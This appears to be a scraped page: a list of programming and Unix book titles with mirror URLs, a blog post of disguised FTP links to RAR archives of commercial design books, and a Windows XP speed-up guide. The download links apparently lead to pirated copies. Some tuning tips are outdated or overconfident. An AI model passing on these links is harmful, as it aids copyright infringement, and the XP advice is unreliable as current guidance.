10 minute guide to outlook 97
http://www.parsian.net/set1252/pages/books.htm

4
10 minute guide to schedule+ for windows 95
http://www.parsian.net/set1252/pages/books.htm

5
ActiveX programming unleashed
http://www.parsian.net/set1252/pages/books.htm

6
ActiveX programming unleashed
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

7
Advanced perl programming
http://www.hk8.org/old_web/

8
Advanced PL/SQL programming with packages
http://www.hk8.org/old_web/

9
Adventure in Prolog/AMZI
www.oopweb.com

10
Algorithms CMSC251/Mount, David
www.oopweb.com

11
Alison Balter's Mastering Access 95 development, premier ed.
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

12
Apache : The definitive guide, 3rd.ed.
http://www.hk8.org/old_web/

13
Beej's guide to network programming/Hall, Brain
www.oopweb.com

14
Beyond Linux from Scratch/BLFS Development Team
http://book.onairweb.net/computer/os/linux/Administration/Beyond_Linux_From_Scratch/

15
Borland C++ builder unleashed
http://www.parsian.net/set1252/pages/books.htm

16
Building an intranet with windows NT 4
http://www.parsian.net/set1252/pages/books.htm

17
Building an Intranet with Windows NT 4
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

18
Building expert systems in prolog/AMZI
www.oopweb.com

19
C programming language
http://book.onairweb.net/computer/pl/C/The_C_Programming_Language_by_K&R/

20
C Programming/Holmes, Steven
www.oopweb.com

21
C++ Annotations
www.oopweb.com

22
CGI developer's guide
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

23
CGI manual of style
http://www.parsian.net/set1252/pages/books.htm

24
CGI manual of style online
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

25
CGI programming
http://www.hk8.org/old_web/

26
CGI programming unleashed
http://www.parsian.net/set1252/pages/books.htm

27
CGI programming with Perl, 2nd.ed.
http://www.hk8.org/old_web/

28
Charlie Calvert's Borland C++ builder unleashed
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

29
Client/server computing, 2nd.ed.
http://www.parsian.net/set1252/pages/books.htm

30
Client-server computing, 2nd.ed.
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

31
Common LISP, the language/Steele, Guy
www.oopweb.com

32
Compilers and compiler generators : an introduction with C++/Terry, P.D.
www.oopweb.com

33
Complete idiot's guide to creating HTML webpage
http://www.parsian.net/set1252/pages/books.htm

34
Computer graphics CMSC 427/Mount, David
www.oopweb.com

35
Configuring and troubleshooting the windows NT/95 registry
http://www.parsian.net/set1252/pages/books.htm

36
Creating commercial websites
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

37
Creating web applets with Java
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

38
Crystal Reports.NET
http://www.crystalreportsbook.com/Chapters.asp

39
Curious about the internet
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

40
Curious about the internet?
http://www.parsian.net/set1252/pages/books.htm

41
Dan appleman's developing activeX components with Visual Basic 5
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

42
Dan appleman's developing activex components with Visual Basic 5.0
http://www.parsian.net/set1252/pages/books.htm

43
Data structures CMSC420/Mount, David
www.oopweb.com

44
Database developer's guide with visual basic 4, 2nd.ed.
http://www.parsian.net/set1252/pages/books.htm

45
Database developer's guide with Visual Basic 4, 2nd.ed.
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

46
Database developer's guide with Visual C++ 4, 2nd.ed.
http://www.parsian.net/set1252/pages/books.htm

47
Database developer's guide with Visual C++ 4, 2nd.ed.
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

48
Design and analysis of computer algorithms CMSC451/Mount, David
www.oopweb.com

49
Designing implementing Microsoft internet information server
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

50
Designing implementing Microsoft proxy server
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

51
Developing for netscape one
http://www.parsian.net/set1252/pages/books.htm

52
Developing intranet applications with java
http://www.parsian.net/set1252/pages/books.htm

53
Developing personal oracle 7 for windows 95 applications
http://www.parsian.net/set1252/pages/books.htm

54
Developing personal Oracle 7 for windows 95 applications
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

55
Developing professional java applets
http://www.parsian.net/set1252/pages/books.htm

56
Developing professional java applets
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

57
DNS and BIND
http://www.hk8.org/old_web/

58
Doing objects with VB.NET and C#
http://vbwire.com/nl?6814

59
EAI/BPM Evaluation Series: IBM WebSphere MQ Workflow v3.3.2 & EAI Suite by
> Middleware Technology Evaluation Series, Phong Tran & Jeffrey Gosper
http://www.cmis.csiro.au/mte/reports/BPM_IBMwebsphereMQ332.htm

60
Effective AWK programming
http://book.onairweb.net/computer/os/shell/Effective_AWK_Programming/

61
Enterprise javabeans, 2nd.ed.
http://www.hk8.org/old_web/

62
Exploring java
http://www.hk8.org/old_web/

63
GNOME/Sheets, John
www.oopweb.com

64
Graph theory/Prof. Even
www.oopweb.com

65
Hacking java
http://www.parsian.net/set1252/pages/books.htm

66
How intranets work
http://www.parsian.net/set1252/pages/books.htm

67
How intranets work
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

68
How to program visual basic 5.0
http://www.parsian.net/set1252/pages/books.htm

69
How to use HTML 3.2
http://www.parsian.net/set1252/pages/books.htm

70
Html : The definitive guide
http://www.hk8.org/old_web/

71
HTML 3.2 & CGI unleashed
http://www.parsian.net/set1252/pages/books.htm

72
HTML 3.2 and CGI professional reference edition unleashed
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

73
HTML by example
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

74
Internet firewall
http://www.hk8.org/old_web/

75
Intranets unleashed
http://www.parsian.net/set1252/pages/books.htm

76
Introduction to object-oriented programming using C++/Muller, Peter
www.oopweb.com

77
Introduction to programming using Java/Eck, David
www.oopweb.com

78
Introduction to socket programming
http://book.onairweb.net/computer/network/An_Introduction_to_Socket_Programming/

79
Java 1.1 unleashed
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

80
Java 1.1 unleashed, 2nd.ed.
http://www.parsian.net/set1252/pages/books.htm

81
Java 1.1 unleashed, 3rd.ed.
http://www.parsian.net/set1252/pages/books.htm

82
Java 114 documentation
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

83
Java AWT reference
http://www.hk8.org/old_web/

84
Java by example
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

85
Java developer's guide
http://www.parsian.net/set1252/pages/books.htm

86
Java developer's guide
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

87
Java developer's reference
http://www.parsian.net/set1252/pages/books.htm

88
Java developer's reference
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

89
Java Distributed computing
http://www.hk8.org/old_web/

90
Java enterprise
http://www.hk8.org/old_web/

91
Java enterprise in a nutshell
http://www.hk8.org/old_web/

92
Java foundation classes in a nutshell
http://www.hk8.org/old_web/

93
Java fundamental classes reference
http://www.hk8.org/old_web/

94
Java in a nutshell
http://www.hk8.org/old_web/

95
Java in a nutshell, 3rd.ed.
http://www.hk8.org/old_web/

96
Java language reference
http://www.hk8.org/old_web/

97
Java security
http://www.hk8.org/old_web/

98
Java servlet programming
http://www.hk8.org/old_web/

99
Java unleashed
http://www.parsian.net/set1252/pages/books.htm

100
Java unleashed
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

101
Java, 2nd.ed.
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

102
_JavaScript : the definitive guide
http://www.hk8.org/old_web/

103
_Javascript manual of style
http://www.parsian.net/set1252/pages/books.htm

104
_Javascript manual of style
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

105
Josh's GNU Linux Guide/Joshua
http://book.onairweb.net/computer/os/linux/Administration/Josh's_GNU_Linux_Guide/

106
Late night activex
http://www.parsian.net/set1252/pages/books.htm

107
Late night activeX
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

108
Laura lemay's 3D graphics in and VRML 2
http://www.parsian.net/set1252/pages/books.htm

109
Laura lemay's activex and _VBScript
http://www.parsian.net/set1252/pages/books.htm

110
Laura lemay's graphics and web page design
http://www.parsian.net/set1252/pages/books.htm

111
Laura lemay's guide to sizzling websites design
http://www.parsian.net/set1252/pages/books.htm

112
Laura lemay's _javascript 1.1
http://www.parsian.net/set1252/pages/books.htm

113
Laura lemay's web workshop activex and _VBScript
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

114
Laura lemay's web workshop Graphics web page design
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

115
Laura lemay's web workshop _javascript
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

116
Learning perl
http://www.hk8.org/old_web/

117
Learning perl on win32
http://www.hk8.org/old_web/

118
Learning the kornshell
http://www.hk8.org/old_web/

119
Learning unix
http://www.hk8.org/old_web/

120
Learning vi
http://www.hk8.org/old_web/

121
Linux from Scratch/Beekmans, Gerard
http://book.onairweb.net/computer/os/linux/Administration/Linux_From_Scratch/

122
Linux in a nutshell, 3rd.ed.
http://www.hk8.org/old_web/

123
Linux kernel/Rusling, David
www.oopweb.com

124
Linux network administrator's guide/Dawson, Terry
www.oopweb.com

125
Linux system administrator's survival guide
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

126
MAPI, SAPI and TAPI developer's guide
http://www.parsian.net/set1252/pages/books.htm

127
Mastering access 95 development
http://www.parsian.net/set1252/pages/books.htm

128
Microsoft access 97 quick reference
http://www.parsian.net/set1252/pages/books.htm

129
Microsoft access 97 quick reference
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

130
Microsoft backoffice 2 unleashed
http://www.parsian.net/set1252/pages/books.htm

131
Microsoft excel 97 quick reference
http://www.parsian.net/set1252/pages/books.htm

132
Microsoft excel 97 quick reference
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

133
Microsoft exchange server survival guide
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

134
Microsoft frontpage unleashed
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

135
Microsoft word 97 quick reference
http://www.parsian.net/set1252/pages/books.htm

136
Microsoft word 97 quick reference
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

137
Microsoft works 4.5 6-In-1
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

138
More than 100 full-text e-books
http://www.allfreetech.com/EBookCategory.asp

139
Ms backoffice administrator's survival guide
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

140
Ms backoffice unleashed
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

141
Mysql and msql
http://www.hk8.org/old_web/

142
Netscape plug-ins developer's kit
http://www.parsian.net/set1252/pages/books.htm

143
Official gamelan java directory
http://www.parsian.net/set1252/pages/books.htm

144
Oracle built-in packages
http://www.hk8.org/old_web/

145
Oracle PL/SQL built-in pocket reference
http://www.hk8.org/old_web/

146
Oracle PL/SQL language pocket reference
http://www.hk8.org/old_web/

147
Oracle PL/SQL programming guide to Oracle 8 features
http://www.hk8.org/old_web/

148
Oracle PL/SQL programming, 2nd.ed.
http://www.hk8.org/old_web/

149
Oracle unleashed
http://www.parsian.net/set1252/pages/books.htm

150
Oracle unleashed
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

151
Oracle web applications PL/SQL developer's introduction
http://www.hk8.org/old_web/

152
Patterns of enterprise application architecture/Fowler, Martin
http://www.awprofessional.com/catalog/product.asp?product_id={574D77DF-6ED2-BC5-A6A8-02E59CA7482D}

153
PC week : the intranet advantage
http://www.parsian.net/set1252/pages/books.htm

154
Perl 5 by example
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

155
Perl 5 quick reference
http://www.parsian.net/set1252/pages/books.htm

156
Perl 5 unleashed
http://www.parsian.net/set1252/pages/books.htm

157
Perl 5.0 CGI web pages
http://www.parsian.net/set1252/pages/books.htm

158
Perl cookbook
http://www.hk8.org/old_web/

159
Perl for system administration
http://www.hk8.org/old_web/

160
Perl in a nutshell
http://www.hk8.org/old_web/

161
Perl quick reference
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

162
Peter norton's complete guide to windows NT 4 workstations
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

163
Presenting activex
http://www.parsian.net/set1252/pages/books.htm

164
Presenting activex
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

165
Presenting javabeans
http://www.parsian.net/set1252/pages/books.htm

166
Presenting javabeans
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

167
Programming perl
http://www.hk8.org/old_web/

168
Programming perl, 3rd.ed.
http://www.hk8.org/old_web/

169
Programming the Perl DBI
http://www.hk8.org/old_web/

170
Red hat linux unleashed
http://www.parsian.net/set1252/pages/books.htm

171
Running a perfect intranet
http://www.parsian.net/set1252/pages/books.htm

172
Running Linux, 3rd.ed.
http://www.hk8.org/old_web/

173
Sams teach yourself java 1.1 in 24 hours/
http://book.onairweb.net/computer/sams/Sams_Teach_Yourself_Java_1.1_Programming_in_24_Hours

174
Sams Teach yourself java in 21 days/Lemay, Laura
http://book.onairweb.net/computer/sams/Sams_Teach_Yourself_Java_in_21_Days/

175
Sams teach yourself linux in 24 hours/Ball, Bill
http://book.onairweb.net/computer/sams/Sams_Teach_Yourself_Linux_in_24%20Hours/

176
Sams teach yourself shell programming in 24 hours
http://book.onairweb.net/computer/sams/Sams_Teach_Yourself_Shell_Programming_in_24_Hours/

177
Sams teach yourself TCP/IP in 14 days
http://book.onairweb.net/computer/sams/Sams_Teach_Yourself_TCP-IP_in_14_Days(SE)/

178
Sed and awk
http://www.hk8.org/old_web/

179
Sendmail
http://www.hk8.org/old_web/

180
Sendmail desktop reference
http://www.hk8.org/old_web/

181
Slackware linux unleashed
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

182
Special edition using java, 2nd.ed.
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

183
Special edition using _javascript
http://www.parsian.net/set1252/pages/books.htm

184
Special edition using _javascript
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

185
Special edition using _Jscript
http://www.parsian.net/set1252/pages/books.htm

186
Special edition using lotus notes and domino 4.5
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

187
Special edition using Microsoft SQL server 6.5, 2nd.ed.
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

188
Special edition using Microsoft visual Interdev
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

189
Special edition using perl 5 for web programming
http://www.parsian.net/set1252/pages/books.htm

190
Special edition using perl for web programming
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

191
Special edition using Visual Basic 4
http://www.parsian.net/set1252/pages/books.htm

192
TCP/IP
http://www.hk8.org/old_web/

193
Teach yourself activex programming in 21 days
http://www.parsian.net/set1252/pages/books.htm

194
Teach yourself C++ in 21 days
http://www.parsian.net/set1252/pages/books.htm

195
Teach yourself C++ in 21 days
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

196
Teach yourself CGI programming with Perl 5 in a week
http://www.parsian.net/set1252/pages/books.htm

197
Teach yourself database programming with VB5 in 21 days, 2nd.ed.
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

198
Teach yourself database programming with visual basic 5 in 21 days
http://www.parsian.net/set1252/pages/books.htm

199
Teach yourself HTML 3.2 in 24 hours
http://www.parsian.net/set1252/pages/books.htm

200
Teach yourself HTML 3.2 in 24 hours
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

201
Teach yourself internet game programming with java in 21 days
http://www.parsian.net/set1252/pages/books.htm

202
Teach yourself java 1.1 programming in 24 hours
http://www.parsian.net/set1252/pages/books.htm

203
Teach yourself jave in café in 21 days
http://www.parsian.net/set1252/pages/books.tm

204
Teach yourself Microsoft visual Interdev in 21 days
http://www.parsian.net/set1252/pages/books.htm

205
Teach yourself Microsoft visual Interdev in 21 days
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

206
Teach yourself oracle 8 in 21 days
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

207
Teach yourself perl 5 in 21 days
http://www.parsian.net/set1252/pages/books.htm

208
Teach yourself perl 5 in 21 days, 2nd.ed.
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

209
Teach yourself SQL in 21 days
http://www.parsian.net/set1252/pages/books.htm

210
Teach yourself SQL in 21 days, 2nd.ed.
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

211
Teach yourself TCP/IP in 14 days
http://www.parsian.net/set1252/pages/books.htm

212
Teach yourself TCP/IP in 14 days, 2nd.ed.
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

213
Teach yourself the Internet in 24 hours
http://www.parsian.net/set1252/pages/books.htm

214
Teach yourself the internet in 24 hours
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

215
Teach yourself _VBScript in 21 days
http://www.parsian.net/set1252/pages/books.htm

216
Teach yourself _VBScript in 21 days
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

217
Teach yourself visual basic 5 in 24 hours
http://www.parsian.net/set1252/pages/books.htm

218
Teach yourself Visual Basic 5 in 24 hours
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

219
Teach yourself Visual J++ in 21 days
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

220
Teach yourself web publishing with HTML 3.2 in 14 days
http://www.parsian.net/set1252/pages/books.htm

221
Teach yourself web publishing with HTML in 14 days
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

222
Thinking in C++
http://www.mindview.net/Books

223
Thinking in C++/Eckel, Bruce - Vol.I, 2nd.ed.
www.oopweb.com

224
Thinking in C++/Eckel, Bruce - Vol.II, 2nd.ed.
www.oopweb.com

225
Thinking in Enterprise Java
http://www.mindview.net/Books

226
Thinking in Java, 2nd.ed.
www.oopweb.com

227
Thinking in Java, 3rd.ed. (pdf)
http://www.mindview.net/Books

228
Tricks of the internet gurus
http://www.parsian.net/set1252/pages/books.htm

229
Tricks of the java programming gurus
http://www.parsian.net/set1252/pages/books.htm

230
Unix and internet security
http://www.hk8.org/old_web/

231
Unix hints and hacks/Waingrow, Kirk
http://book.onairweb.net/computer/os/unix/Administration/UNIX_Hints_&_Hacks/19270001..htm

232
Unix in a nutshell
http://www.hk8.org/old_web/

233
Unix kornshell quick reference
http://book.onairweb.net/computer/os/shell/Unix_KornShell_Quick_Reference/kornShell.html

234
Unix power tools
http://www.hk8.org/old_web/

235
Unix shell guide
http://book.onairweb.net/computer/os/shell/The_UNIX_Shell_Guide/

236
Unix unleashed
http://www.parsian.net/set1252/pages/books.htm

237
Unix unleashed
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

238
Unix unleashed Internet Ed./Burk, Robin
http://book.onairweb.net/computer/os/unix/Administration/UNIX_Unleashed(Internet_Edition)/fm.htm

239
Unix unleashed, System administrator's Edition
http://book.onairweb.net/computer/os/unix/Administration/UNIX_Unleashed_System_Administrator's_Edition/toc.htm

240
Unix Unleashed/Sams Publication
http://book.onairweb.net/computer/os/unix/Administration/UNIX_Unleashed/

241
Upgrading PCs illustrated
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

242
Using windows NT workstation 4.0
http://www.parsian.net/set1252/pages/books.htm

243
_VBScript unleashed
http://www.parsian.net/set1252/pages/books.htm

244
_Vbscript unleashed
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

245
Visual basic 4 in 12 easy lessons
http://www.parsian.net/set1252/pages/books.htm

246
Visual basic 4 unleashed
http://www.parsian.net/set1252/pages/books.htm

247
Visual Basic 5 night school
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

248
Visual basic programming in 12 easy lessons
http://www.parsian.net/set1252/pages/books.htm

249
Visual Basic programming in 12 easy lessons
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

250
Visual C++ 4 unleashed
http://www.parsian.net/set1252/pages/books.htm

251
Visual C++ programming in 12 easy lessons
http://www.parsian.net/set1252/pages/books.htm

252
Web database developer's guide with visual basic 5
http://www.parsian.net/set1252/pages/books.htm

253
Web database developer's guide with visual basic 5
http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

254
Web programming desktop reference 6-in-1
http://www.parsian.net/set1252/pages/books.htm

A Trick by : WWW.infintytriks.blogspot.com

36 Graphics & Design Ebooks

2008-01-14T04:49:00.000-08:00

36 Graphics & Design Ebooks

Maya, Photoshop, Macromedia, Bryce, Digital Photography, & more....

Download with FlashGet

f*p://195.135.232.80/Books/design/8.books.Maya.[by.KiN_www.netz.ru].rar
f*p://195.135.232.80/Books/design/A.Short.Course.in.Digital.Photography.[by.KiN_www.netz.ru].rar
f*p://195.135.232.80/Books/design/Adobe.Creative.Suite.Keyboard.Shortcuts.[by.KiN_www.netz.ru]_3,1.MB.rar
f*p://195.135.232.80/Books/design/Adobe.Photoshop.CS.in.10.Simple.Steps.or.Less.(2004).[by.KiN_www.netz.ru]_7,84 MB.rar
f*p://195.135.232.80/Books/design/Adobe.Photoshop.Tutorial.7.Day.Course.html.a.[28.84.MB_www.netz.ru].rar
f*p://195.135.232.80/Books/design/Advanced.3D.Photorealism.Techniques[9,76.MB_RUS_www.netz.ru].rar
f*p://195.135.232.80/Books/design/Bill.Flemming.Advanced.3D.Photorealism.Techniques.[RUS].[by.KiN_www.netz.ru]_9,75 MB.rar
f*p://195.135.232.80/Books/design/Bryce.5.Manual.[by.KiN_www.netz.ru_4.01MB].rar
f*p://195.135.232.80/Books/design/Corel.103.tutorials.RUS.[by.KiN_www.netz.ru].rar
f*p://195.135.232.80/Books/design/Designing Secure Web-Based Applications for Windows 2000.zip
f*p://195.135.232.80/Books/design/DHTML.Weekend.Crash.Course[by.KiN_www.netz.ru].rar
f*p://195.135.232.80/Books/design/Digital.Photography.Hacks.[by.KiN_www.netz.ru]_11,76.MB.rar
f*p://195.135.232.80/Books/design/How.To.Do.Everything.With.Illustrator.[by.KiN_www.netz.ru]_30,58.MB.rar
f*p://195.135.232.80/Books/design/How.To.Do.Everything.With.Photoshop.7.[by.KiN_www.netz.ru]_9,8 MB.rar
f*p://195.135.232.80/Books/design/How.To.Draw.Anime.Photoshop.Coloring.Tips.[by.KiN_www.netz.ru]_773 kB.rar
f*p://195.135.232.80/Books/design/How.To.Draw.Manga.Photoshop.Techniques.[by.KiN_www.netz.ru]_343 kB.rar
f*p://195.135.232.80/Books/design/How.To.Use.Adobe.Photoshop.7.[by.KiN_www.netz.ru]_14,66 MB.rar
f*p://195.135.232.80/Books/design/HTML.4.01.Weekend.Crash.Course[by.KiN_www.netz.ru].rar
f*p://195.135.232.80/Books/design/HTML.Complete.Course.[by.KiN_www.netz.ru]_26,79.MB.rar
f*p://195.135.232.80/Books/design/Learn.How.To.Draw.[by.KiN_www.netz.ru]_1,61.MB.rar
f*p://195.135.232.80/Books/design/Learn.HTML4.In.a.Weekend.[by.KiN_www.netz.ru]_11,02.MB.rar
f*p://195.135.232.80/Books/design/Learning.Macromedia.FlashMX.2004[658.kB_www.netz.ru].rar
f*p://195.135.232.80/Books/design/Macromedia.Dreamweaver.4.Bible[8,86.MB_www.netz.ru].rar
f*p://195.135.232.80/Books/design/Macromedia.Dreamweaver.MX.2004.Web.Application.Recipes[6,5.MB_www.netz.ru].rar
f*p://195.135.232.80/Books/design/Macromedia.Flash.MX.2004.ActionScript.Reference.Guide.rar
f*p://195.135.232.80/Books/design/Macromedia.Flash.MX.2004.Using.Components.rar
f*p://195.135.232.80/Books/design/Macromedia.Flashmx.Actionscript.Reference.Guide.2004[2,66.MB_www.netz.ru].rar
f*p://195.135.232.80/Books/design/Macromedia.Flashmx.Using.Components.2004[979.kB_www.netz.ru].rar
f*p://195.135.232.80/Books/design/Macromedia.Press.Macromedia.Dreamweaver.MX.Dynamic.Applications.[10.46.MB_www.netz.ru].rar
f*p://195.135.232.80/Books/design/New.Riders.Photoshop.7.Power.Shortcuts.[by.KiN_www.netz.ru]_3,5 MB.rar
f*p://195.135.232.80/Books/design/NewRiders.MacromediaDreamweaverMx2004WebApplicationRecipes(6,5MB_www.netz.ru).rar f*p://195.135.232.80/Books/design/PhotoShop.&.Illustrator.Tutorial.[14.37.MB_www.netz.ru].rar
f*p://195.135.232.80/Books/design/Photoshop.6.Bible.[13.95.MB_www.netz.ru].rar f*p://195.135.232.80/Books/design/Photoshop.75.tutorial.RUS.[by.KiN_www.netz.ru].rar
f*p://195.135.232.80/Books/design/Photoshop.CS.Tips.and.Tricks.[by.KiN_www.netz.ru].rar
f*p://195.135.232.80/Books/design/Photoshop.Rus.4-18[6.5Mb,_www.netz.ru].rar

A Trick by : WWW.infintytricks.blogspot.com

23 Ways To Speed WinXP, Not only Defrag

2008-01-14T04:47:00.000-08:00

23 Ways To Speed WinXP, Not only Defrag

Since defragging the disk won't do much to improve Windows XP performance, here are 23 suggestions that will. Each can enhance the performance and reliability of your customers' PCs. Best of all, most of them will cost you nothing.
1.) To decrease a system's boot time and increase system performance, use the money you save by not buying defragmentation software -- the built-in Windows defragmenter works just fine -- and instead equip the computer with an Ultra-133 or Serial ATA hard drive with 8-MB cache buffer.

2.) If a PC has less than 512 MB of RAM, add more memory. This is a relatively inexpensive and easy upgrade that can dramatically improve system performance.

3.) Ensure that Windows XP is utilizing the NTFS file system. If you're not sure, here's how to check: First, double-click the My Computer icon, right-click on the C: Drive, then select Properties. Next, examine the File System type; if it says FAT32, then back-up any important data. Next, click Start, click Run, type CMD, and then click OK. At the prompt, type CONVERT C: /FS:NTFS and press the Enter key. This process may take a while; it's important that the computer be uninterrupted and virus-free. The file system used by the bootable drive will be either FAT32 or NTFS. I highly recommend NTFS for its superior security, reliability, and efficiency with larger disk drives.

4.) Disable file indexing. The indexing service extracts information from documents and other files on the hard drive and creates a "searchable keyword index." As you can imagine, this process can be quite taxing on any system.

The idea is that the user can search for a word, phrase, or property inside a document, should they have hundreds or thousands of documents and not know the file name of the document they want. Windows XP's built-in search functionality can still perform these kinds of searches without the Indexing service. It just takes longer. The OS has to open each file at the time of the request to help find what the user is looking for.

Most people never need this feature of search. Those who do are typically in a large corporate environment where thousands of documents are located on at least one server. But if you're a typical system builder, most of your clients are small and medium businesses. And if your clients have no need for this search feature, I recommend disabling it.

Here's how: First, double-click the My Computer icon. Next, right-click on the C: Drive, then select Properties. Uncheck "Allow Indexing Service to index this disk for fast file searching." Next, apply changes to "C: subfolders and files," and click OK. If a warning or error message appears (such as "Access is denied"), click the Ignore All button.

5.) Update the PC's video and motherboard chipset drivers. Also, update and configure the BIOS. For more information on how to configure your BIOS properly, see this article on my site.

6.) Empty the Windows Prefetch folder every three months or so. Windows XP can "prefetch" portions of data and applications that are used frequently. This makes processes appear to load faster when called upon by the user. That's fine. But over time, the prefetch folder may become overloaded with references to files and applications no longer in use. When that happens, Windows XP is wasting time, and slowing system performance, by pre-loading them. Nothing critical is in this folder, and the entire contents are safe to delete.

7.) Once a month, run a disk cleanup. Here's how: Double-click the My Computer icon. Then right-click on the C: drive and select Properties. Click the Disk Cleanup button -- it's just to the right of the Capacity pie graph -- and delete all temporary files.

8.) In your Device Manager, double-click on the IDE ATA/ATAPI Controllers device, and ensure that DMA is enabled for each drive you have connected to the Primary and Secondary controller. Do this by double-clicking on Primary IDE Channel. Then click the Advanced Settings tab. Ensure the Transfer Mode is set to "DMA if available" for both Device 0 and Device 1. Then repeat this process with the Secondary IDE Channel.

9.) Upgrade the cabling. As hard-drive technology improves, the cabling requirements to achieve these performance boosts have become more stringent. Be sure to use 80-wire Ultra-133 cables on all of your IDE devices with the connectors properly assigned to the matching Master/Slave/Motherboard sockets. A single device must be at the end of the cable; connecting a single drive to the middle connector on a ribbon cable will cause signaling problems. With Ultra DMA hard drives, these signaling problems will prevent the drive from performing at its maximum potential. Also, because these cables inherently support "cable select," the location of each drive on the cable is important. For these reasons, the cable is designed so drive positioning is explicitly clear.

10.) Remove all spyware from the computer. Use free programs such as AdAware by Lavasoft or SpyBot Search & Destroy. Once these programs are installed, be sure to check for and download any updates before starting your search. Anything either program finds can be safely removed. Any free software that requires spyware to run will no longer function once the spyware portion has been removed; if your customer really wants the program even though it contains spyware, simply reinstall it. For more information on removing Spyware visit this Web Pro News page.

11.) Remove any unnecessary programs and/or items from Windows Startup routine using the MSCONFIG utility. Here's how: First, click Start, click Run, type MSCONFIG, and click OK. Click the StartUp tab, then uncheck any items you don't want to start when Windows starts. Unsure what some items are? Visit the WinTasks Process Library. It contains known system processes, applications, as well as spyware references and explanations. Or quickly identify them by searching for the filenames using Google or another Web search engine.

12.) Remove any unnecessary or unused programs from the Add/Remove Programs section of the Control Panel.

13.) Turn off any and all unnecessary animations, and disable active desktop. In fact, for optimal performance, turn off all animations. Windows XP offers many different settings in this area. Here's how to do it: First click on the System icon in the Control Panel. Next, click on the Advanced tab. Select the Settings button located under Performance. Feel free to play around with the options offered here, as nothing you can change will alter the reliability of the computer -- only its responsiveness.

14.) If your customer is an advanced user who is comfortable editing their registry, try some of the performance registry tweaks offered at Tweak XP.

15.) Visit Microsoft's Windows update site regularly, and download all updates labeled Critical. Download any optional updates at your discretion.

16.) Update the customer's anti-virus software on a weekly, even daily, basis. Make sure they have only one anti-virus software package installed. Mixing anti-virus software is a sure way to spell disaster for performance and reliability.

